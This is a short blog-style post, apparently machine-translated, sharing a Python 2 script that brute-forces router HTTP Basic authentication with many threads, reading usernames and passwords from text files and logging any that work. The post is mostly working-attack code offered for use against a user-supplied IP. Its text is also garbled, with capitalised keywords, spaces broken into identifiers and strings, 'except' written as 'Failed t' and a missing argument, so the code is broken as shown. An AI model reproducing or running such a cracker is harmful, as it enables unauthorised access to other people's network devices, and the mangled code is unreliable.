Python implements multi-thread brute-force cracking and vro login function code sharing, and python Multithreading
At runtime, upload the user.txt passwd.txt file in the directory. Otherwise, an error is reported. No exception handling is added to the program. Code is frustrating .....
Copy codeThe Code is as follows:
# Coding: UTF-8-
Import base64
Import urllib2
Import Queue
Import threading, re, sys
Queue = Queue. Queue ()
Class Rout_thread (threading. Thread ):
Def _ init _ (self, queue, passwd ):
Threading. Thread. _ init _ (self)
Self. queue = queue
Self. passwordlist = passwd
Def run (self ):
Self. user = queue. get ()
For self. passwd in self. passwordlist:
Request = urllib2.Request ("http: //" + target)
Psw_base64 = "Basic" + base64.b64encode (self. user + ":" + self. passwd)
Request. add_header ('authorization', psw_base64)
Try:
Response = urllib2.urlopen (request)
Print "[+] Correct! Username: % s, password: % s "% (self. user, self. passwd)
Fp3 = open('log.txt ', 'A ')
Fp3.write (self. user + '|' + self. passwd + '\ r \ n ')
Fp3.close ()
Failed t urllib2.HTTPError:
Print "[-] password: % s Error! "% (Self. passwd)
If _ name _ = '_ main __':
Print '''
######################################## ###############
##
# Routing brute force tool #
##
# By: well #
##
######################################## ###############
'''
Passwordlist = []
Line = 20
Threads = []
Global target
Target = raw_input ("input ip :")
Fp = open ("user.txt ")
Fp2 = open ("passwd.txt ")
For user in fp. readlines ():
Queue. put (user. split ('\ n') [0])
For passwd in fp2.readlines ():
Passwordlist. append (passwd. split ('\ n') [0])
# Print passwordlist
Fp. close ()
Fp2.close ()
For I in range (line ):
A = Rout_thread (queue, passwordlist)
A. start ()
Threads. append ()
For j in threads:
J. join ()